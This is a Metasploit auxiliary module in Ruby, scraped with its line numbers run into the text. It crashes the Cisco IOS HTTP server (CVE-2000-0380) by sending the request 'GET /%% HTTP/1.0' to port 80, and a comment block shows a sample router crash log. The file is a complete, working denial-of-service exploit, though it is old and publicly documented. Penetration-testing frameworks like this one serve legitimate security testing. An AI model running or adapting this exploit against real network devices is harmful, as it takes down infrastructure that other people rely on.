Path: blob/master/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb
21546 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Cisco IOS HTTP GET /%% Request Denial of Service',14'Description' => %q{15This module triggers a Denial of Service condition in the Cisco IOS16HTTP server. By sending a GET request for "/%%", the device becomes17unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module18tested successfully against a Cisco 1600 Router IOS v11.2(18)P.19},20'Author' => [ 'aushack' ],21'License' => MSF_LICENSE,22'References' => [23[ 'BID', '1154'],24[ 'CVE', '2000-0380'],25[ 'OSVDB', '1302' ],26],27'DisclosureDate' => '2000-04-26',28'Notes' => {29'Stability' => [CRASH_SERVICE_DOWN],30'SideEffects' => [],31'Reliability' => []32}33)34)3536register_options([37Opt::RPORT(80),38])39end4041def run42connect4344print_status('Sending HTTP DoS packet')4546sploit = 'GET /%% HTTP/1.0'47sock.put(sploit + "\r\n")4849disconnect50end51end5253=begin5455Patrick Webster 20070915 Cisco 1600 Router IOS v11.2(18)P5657IOS info:58IOS (tm) 1600 Software (C1600-Y-L), Version 11.2(18)P, RELEASE SOFTWARE (fc1)59Copyright (c) 1986-1999 by cisco Systems, Inc.60Compiled Mon 12-Apr-99 14:53 by ashah6162Example crash:6364%Software-forced reload65Preparing to dump core...66Router>67*Mar 1 00:03:06.349: %SYS-2-WATCHDOG: Process aborted on watchdog timeout, Process = HTTP Server68-Traceback= 80EE1BC 80F0EC0 80EC004 81C0832 81C0B2E 81C0C76 81C0D68 81C0E4E69Queued messages:70*** EXCEPTION ***71software forced crash72program counter = 0x80eaca673status register = 0x270074vbr at time of exception = 0x40000007576=end777879